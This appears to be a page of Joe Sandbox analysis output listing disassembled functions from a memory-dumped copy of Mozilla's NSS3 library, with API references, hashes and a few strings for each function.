Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction ID: 6366d671b69e6cc108f5464cd7262ec5bf8ed3184d4b0d7b75badfa1f2ea736e
Opcode Fuzzy Hash: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction Fuzzy Hash: 3611C2B1A00707ABEB209EA5DC84B46F3A8FF0435DF224531E919C2A00E731F465CBE9

Function 6C65DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_NewCertList.NSS3 ref: 6C65DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C65DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65E029

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 410475219db5b1573e2d62144da0d32e0a5d0e09c4c224fe599cf635f4179d38
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 7F112F71A042066BDF101EA99C44BEB76B8EB8535CFA40534E918C7740F73BC83597E9

Function 6C678DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C678DE7
EnterCriticalSection.KERNEL32 ref: 6C678DFC
PR_Unlock.NSS3 ref: 6C678E2D
PR_SetError.NSS3 ref: 6C678E49

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction ID: 1f2f05af8d7cdf630b08cf4df1927fd49a393801eb20a4114f724b09bb2259b6
Opcode Fuzzy Hash: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction Fuzzy Hash: 911191716056019FD700AF78D4485A9BBF4FF09354F014969DC88D7700E730E895CBDA

Function 6C6FAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACDB

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction ID: 946dbee206ebbe9353e9fd703242d2c833e9dd608ba5f2ff18a69ec3cb070919
Opcode Fuzzy Hash: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction Fuzzy Hash: F6015EB5701B029BEB50DF69E908757B7E8BF00759B104839E86AC3E11E731F055CB95

Function 6C661DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C661DFB

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PR_EnterMonitor.NSS3 ref: 6C661E09

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(?,?,6C65E175), ref: 6C65E19C
Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(6C65E175), ref: 6C65E1AA
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E208
Part of subcall function 6C65E190: PL_HashTableRemove.NSS3(?), ref: 6C65E219
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E231
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E249
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661E37
PR_ExitMonitor.NSS3 ref: 6C661E4A

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction ID: 336d6f5134f631bd6db140d43f6d62b7f6c21a30899e0cc9e51dc83962851440
Opcode Fuzzy Hash: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction Fuzzy Hash: D0018FB1B0415197EB105F6AED08F4677A4AB52B48F240031E91997F91E731E826CB9E

Function 6C661D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C661D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C661D9C
free.MOZGLUE(00000000), ref: 6C661DB8

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction ID: 291279245eed0e5d3d0beaf54ecba8c835d70e7e17d352a5be8e1186c36a2266
Opcode Fuzzy Hash: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction Fuzzy Hash: EEF0F9F260121067FB201F5BEC41B8736D8AB81798F100635ED1997F40D671E40482EF

Function 6C6E0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2F88,6C6E0660,00000020,00000000,?,?,6C6E2C3D,?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E0860

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C6E2C3D,?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E0874
EnterCriticalSection.KERNEL32(00000001), ref: 6C6E0884
PR_Unlock.NSS3 ref: 6C6E08A3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: ccb4feaa9be9edc857ef4c205ac3821db036827882e9c2fbd26eb952217243b6
Instruction ID: df45332b873d05c07957c685a551e83db9c54474ec646a6acffd6ef8d58f92f9
Opcode Fuzzy Hash: ccb4feaa9be9edc857ef4c205ac3821db036827882e9c2fbd26eb952217243b6
Instruction Fuzzy Hash: 0C014736E0A240ABEF002F69EC04E567738DB5A359F080172EC0852A02EF2294549BE9

Function 6C6AFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4
free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction ID: f66672d40333ece326dddc6aeec6d2846073debf6e95477de6f7f5a582ed189d
Opcode Fuzzy Hash: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction Fuzzy Hash: C5F0C8F16022026BEF015B95DD80927BBD8EF45399B148074ED098AB01E731DC16C7EB

Function 6C76CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C76CC61
free.MOZGLUE ref: 6C76CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C76CC80
free.MOZGLUE(?), ref: 6C76CC87

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction ID: b62cb622932d6d95cf8f28def52c6460da53ad28260737f1e9b06ffa0cecdd7c
Opcode Fuzzy Hash: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction Fuzzy Hash: 82E03076700608ABCB10EFA8DC4488A77ACEE492723150565E691C3700D232F905CBA1

Function 6C649DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C649E1F

Part of subcall function 6C6013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C601413
Part of subcall function 6C6013C0: memcpy.VCRUNTIME140(00000000,R#]l,00000002,?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C6014C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C64A006
ESCAPE expression must be a single character, xrefs: 6C649F78

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction ID: 6daa736bfc3cf47b36914c0c59b09f3e55145e153307c15362afad1d62db551a
Opcode Fuzzy Hash: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction Fuzzy Hash: F1812B70A442558BD744CF29C2807EAB7F6AF8532CF28C659D8A98BB81D736D847C784

Function 6C6C5860 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD037,00000000), ref: 6C6C59C8

Part of subcall function 6C6C7EE0: PR_SetError.NSS3(00000000,00000000,00000002,?,?), ref: 6C6C7F30

PR_SetError.NSS3(FFFFD0AE,00000000), ref: 6C6C59E9

Part of subcall function 6C6CAA40: PR_SetError.NSS3(00000000,00000000,00000008,?,?), ref: 6C6CAAA2

Strings

nvl, xrefs: 6C6C5963

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error
String ID: nvl
API String ID: 2619118453-2622381835
Opcode ID: 75ce2bea39c4ec768ab581bb9af973f5ed7c9265f773630b1097d53387db3268
Instruction ID: 03bb9edb81038ca0e63bf55f7fbb46f1844af664323880b1e9eefd3d93efbbc6
Opcode Fuzzy Hash: 75ce2bea39c4ec768ab581bb9af973f5ed7c9265f773630b1097d53387db3268
Instruction Fuzzy Hash: 1841B0B16083419FD710DF14DC81F9A73B8EB49328F054669FD599B682E730E908DBEA

Function 6C6A4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C6A4DE6

Strings

%d.%d, xrefs: 6C6A4DDE

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction ID: f3073532db0d69003b4f21911bb83211dddbfb5cc3d21d2ed669e7ef13d2a519
Opcode Fuzzy Hash: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction Fuzzy Hash: 5D31FCB2D042186BEB10ABE19C05BFF77A8DF45308F150469ED159B781EB709D06CBAA

Function 6C6C4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8ll,00000000,00000000,?,?,6C6C3827,?,00000000), ref: 6C6C4D0A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C6C4D22

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

Strings

'8ll, xrefs: 6C6C4D07

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8ll
API String ID: 1521942269-3147167083
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: e9c045571cb0dc53a02a19017d26fc9ed9119a401a2e55a1fbcf3640a8849614
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FEF0687270112467DB10AE6A9C4077736DCDB417BDF141271DD18DB781E6B1EC018697

Function 6C6EAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6EAF78

Part of subcall function 6C64ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
Part of subcall function 6C64ACC0: malloc.MOZGLUE(00000001), ref: 6C64ACEC
Part of subcall function 6C64ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
Part of subcall function 6C64ACC0: TlsGetValue.KERNEL32 ref: 6C64AD3C
Part of subcall function 6C64ACC0: calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64ADC0
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64AE8C
Part of subcall function 6C64ACC0: free.MOZGLUE(?), ref: 6C64AEAB

memcpy.VCRUNTIME140(6C7B3084,6C7B02AC,00000090), ref: 6C6EAF94

Strings

SSL, xrefs: 6C6EAF73

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction ID: 79e1a2b9a945a7cdd6da3c25da324d2b87b92f674a031850191d99d355ed7790
Opcode Fuzzy Hash: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction Fuzzy Hash: 09217BB264EB49EFCA01DF11A547B127E73BF4A308710512AD52A4BB28DB3151889FDD

Function 6C640F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B

Part of subcall function 6C641370: GetSystemInfo.KERNEL32(?,?,?,?,6C640936,?,6C640F20,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000), ref: 6C64138F

PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Part of subcall function 6C641110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641130
Part of subcall function 6C641110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641142
Part of subcall function 6C641110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001), ref: 6C641167

Strings

clock, xrefs: 6C640F20

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
